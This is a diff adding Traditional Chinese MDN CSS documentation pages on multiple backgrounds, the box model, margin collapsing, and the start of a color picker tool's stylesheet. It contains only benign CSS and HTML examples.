+<p>可以使用縮寫的方式 {{ cssxref("background") }} 和個別標記的方式設定多重背景，但是部分屬性無法設置多重背景，例如 {{ cssxref("background-color") }}。下面是能設置為多重背景的背景屬性： </p>
+
+<ul>
+ <li>{{ cssxref("background") }}</li>
+ <li>{{ cssxref("background-attachment") }}</li>
+ <li>{{ cssxref("background-clip") }}</li>
+ <li>{{ cssxref("background-image") }}</li>
+ <li>{{ cssxref("background-origin") }}</li>
+ <li>{{ cssxref("background-position") }}</li>
+ <li>{{ cssxref("background-repeat") }}</li>
+ <li>{{ cssxref("background-size") }}</li>
+</ul>
+
+<h2 id="範例">範例</h2>
+
+<p>下面的範例中，重疊三個背景：Firefox logo、<a href="/en/CSS/linear-gradient" title="en/CSS/-moz-linear-gradient">線性漸層</a>、一張泡泡的圖片</p>
+
+<pre class="brush: css">.multi_bg_example {
+  background-image   : url(https://mdn.mozillademos.org/files/11305/firefox.png),
+                       url(https://mdn.mozillademos.org/files/11307/bubbles.png),
+                       linear-gradient(to right, rgba(30, 75, 115, 1),  rgba(255, 255, 255, 0));
+
+  background-repeat  : no-repeat,
+                       no-repeat,
+                       no-repeat;
+
+  background-position: bottom right,
+                       left,
+                       right;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="multi_bg_example"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css">.multi_bg_example{
+width:100%;
+height:400px;
+background: url(https://mdn.mozillademos.org/files/11305/firefox.png),
+            url(https://mdn.mozillademos.org/files/11307/bubbles.png),
+            -moz-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)),
+            -webkit-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)),
+            -ms-linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0)),
+            linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+}</pre>
+</div>
+
+<h2 id="結果">結果</h2>
+
+<p>{{EmbedLiveSample('範例','100%','400')}}</p>
+
+<p>如你所見，Firefox logo（列表第一個選項）在最上面，接著是漸層。每個隨後的子屬性（{{ cssxref("background-repeat") }} 和 {{ cssxref("background-position") }}）應用相對的背景上。所以第一個 {{ cssxref("background-repeat") }} 的值應用在第一個（最前面）背景。</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_gradients" title="en/Using gradients">使用 CSS 漸層</a></li>
+</ul>
diff --git a/files/zh-tw/web/css/css_box_model/index.html b/files/zh-tw/web/css/css_box_model/index.html
new file mode 100644
index 0000000000..cb4dd91343
--- /dev/null
+++ b/files/zh-tw/web/css/css_box_model/index.html
@@ -0,0 +1,167 @@
+---
+title: CSS Box Model
+slug: Web/CSS/CSS_Box_Model
+tags:
+  - CSS
+  - CSS Box Model
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Box_Model
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Box Model</strong> is a CSS module that defines the rectangular boxes, including their padding and margin, that are generated for elements and laid out according to the visual formatting model.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<h4 id="Properties_controlling_the_flow_of_content_in_a_box">Properties controlling the flow of content in a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li>{{cssxref("box-sizing")}}</li>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("overflow-x")}}</li>
+ <li>{{cssxref("overflow-y")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_size_of_a_box">Properties controlling the size of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("height")}}</li>
+ <li>{{cssxref("width")}}</li>
+ <li>{{cssxref("max-height")}}</li>
+ <li>{{cssxref("max-width")}}</li>
+ <li>{{cssxref("min-height")}}</li>
+ <li>{{cssxref("min-width")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_margins_of_a_box">Properties controlling the margins of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("margin")}}</li>
+ <li>{{cssxref("margin-bottom")}}</li>
+ <li>{{cssxref("margin-left")}}</li>
+ <li>{{cssxref("margin-right")}}</li>
+ <li>{{cssxref("margin-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Properties_controlling_the_paddings_of_a_box">Properties controlling the paddings of a box</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("padding")}}</li>
+ <li>{{cssxref("padding-bottom")}}</li>
+ <li>{{cssxref("padding-left")}}</li>
+ <li>{{cssxref("padding-right")}}</li>
+ <li>{{cssxref("padding-top")}}</li>
+</ul>
+</div>
+
+<h4 id="Other_properties">Other properties</h4>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides_and_tools">Guides and tools</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">Introduction to the CSS box model</a></dt>
+ <dd>Explains one of the fundamental concept of CSS, the box model: describes the meaning of the margin, padding, as well as the different areas of a box.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a></dt>
+ <dd>In several cases, two adjacent margins are collapsed into one. This article describes when this is happening and how to control it.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Box-shadow_generator">Box-shadow generator</a></dt>
+ <dd>An interactive tool that allows to visually create shadows and to generate the needed syntax for the {{cssxref("box-shadow")}} property.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box")}}</td>
+   <td>{{Spec2("CSS3 Box")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/css/css_box_model/mastering_margin_collapsing/index.html b/files/zh-tw/web/css/css_box_model/mastering_margin_collapsing/index.html
new file mode 100644
index 0000000000..be8ea00259
--- /dev/null
+++ b/files/zh-tw/web/css/css_box_model/mastering_margin_collapsing/index.html
@@ -0,0 +1,107 @@
+---
+title: 理解邊界重疊的原因
+slug: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+---
+<div>{{CSSRef}}</div>
+
+<div>當一個 Block 的 <a href="/en-US/docs/Web/CSS/margin-bottom">下邊界範圍</a> ( margin-bottom ) 和一個 Block 的 <a href="/en-US/docs/Web/CSS/margin-top">上邊界範圍</a> ( margin-top ) 都有設定時只會留下最大那個，這種情況我們稱為<strong>邊界重疊</strong> ( margin collapsing )。請留意設定了 float 或<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/position#absolute">絕對定位</a>的元件並不會產生邊界重疊。</div>
+
+
+
+<p>有三個標準情況會形成邊界重疊：</p>
+
+<dl>
+ <dt>同一層的相鄰</dt>
+ <dd>兩個相鄰的元素邊界就會發生重疊，除非後者有加上clear-fix。例如：
+ <pre class="brush: html notranslate">&lt;style&gt;
+  p:nth-child(1){
+    margin-bottom: 13px;
+  }
+  p:nth-child(2){
+    margin-top: 87px;
+  }
+&lt;/style&gt;
+
+ &lt;p&gt;下邊界範圍會...&lt;/p&gt;
+ &lt;p&gt;...跟這個元素的上邊界範圍重疊。&lt;/p&gt;
+</pre>
+ </dd>
+ <dd>如果邊界會合併的的話，理所當然會認為上例中的上下兩個元素會合成一個 100px 的邊界範圍。<br>
+ 但其實會發生重疊，而且只會留下最大的邊界範圍，以此例子來說，邊界範圍就是 87px。</dd>
+ <dt></dt>
+ <dt>父元素與第一個/最後一個子元素</dt>
+ <dd>如果第一個子元素跟父元素的上邊界範圍 ( margin-top ) 貼在一起，也會發生邊界重疊的情況。除非父元素有設定邊框 ( border ) 、 內距 ( padding )、內容設定為 inline 或是有加上 clear-fix，這些都會隔開子元素和父元素的屬性。<br>
+ 最後一個子元素也是，但是與父元素的下邊界範圍 ( margin-bottom ) 更容易被隔開，因為父元素可以設定這些屬性。例如：</dd>
+ <dd>
+ <pre class="brush: html notranslate">&lt;style type="text/css"&gt;
+    section    {
+        margin-top: 13px;
+        margin-bottom: 87px;
+    }
+
+    header {
+        margin-top: 87px;
+    }
+
+    footer {
+        margin-bottom: 13px;
+    }
+&lt;/style&gt;
+
+&lt;section&gt;
+    &lt;header&gt;上邊界重疊是 87&lt;/header&gt;
+    &lt;footer&gt;下邊界重疊還是 87 不能再高了&lt;/footer&gt;
+&lt;/section&gt;</pre>
+ </dd>
+ <dt>空的元素</dt>
+ <dd>當同一個元素上邊界範圍可以直接貼到下邊界範圍時，也會發生邊界重疊。這種情況會發生在一個元素完全沒有設定邊框 ( border ) 、 內距 ( padding )、高度 ( height )​ 、最小高度 ( min-height ) 、最大高度 ( max-height )​ 、內容設定為 inline 或是加上 clear-fix 的時候。例如：</dd>
+ <dd>
+ <pre class="brush: html notranslate">&lt;style&gt;
+  p {
+    margin: 0px;
+  }
+  div {
+    margin-top: 13px;
+    margin-bottom: 87px;
+  }
+&lt;/style&gt;
+
+&lt;p&gt;下邊界範圍是 87&lt;/p&gt;
+&lt;div&gt;&lt;/div&gt;
+&lt;p&gt;...上邊界範圍也是 87。&lt;/p&gt;
+</pre>
+ </dd>
+</dl>
+
+<p>上面這些情況是會同時發生的，那時邊界重疊的原因又更複雜了。</p>
+
+<p>比較特別的是，當計算的時候某些邊界範圍是負數，邊界重疊的結果會取最大值和最小值相加。舉例來說如果 -13px、8px 和 100px 疊在一起，邊界範圍的計算方法會是 100px - 13px 也就是 87px。</p>
+
+<p>以上這些內容都是發生在 Block-Level 的元素，設定 floating 和 absolutely positioned 的元素完全不用擔心邊界重疊的計算。</p>
+
+<h2 id="標準文件">標準文件</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參考">參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Reference">CSS Reference</a></li>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/css_colors/color_picker_tool/index.html b/files/zh-tw/web/css/css_colors/color_picker_tool/index.html
new file mode 100644
index 0000000000..367e58ce23
--- /dev/null
+++ b/files/zh-tw/web/css/css_colors/color_picker_tool/index.html
@@ -0,0 +1,3221 @@
+---
+title: 色彩選擇工具
+slug: Web/CSS/CSS_Colors/Color_picker_tool
+tags:
+  - CSS
+  - Tools
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+        &lt;div id="palette" class="block"&gt;
+            &lt;div id="color-palette"&gt;&lt;/div&gt;
+            &lt;div id="color-info"&gt;
+                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="picker" class="block"&gt;
+            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+            &lt;div id="controls"&gt;
+                &lt;div id="delete"&gt;
+                    &lt;div id="trash-can"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="canvas" data-tutorial="drop"&gt;
+            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch &gt; * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 30%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property &gt; * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
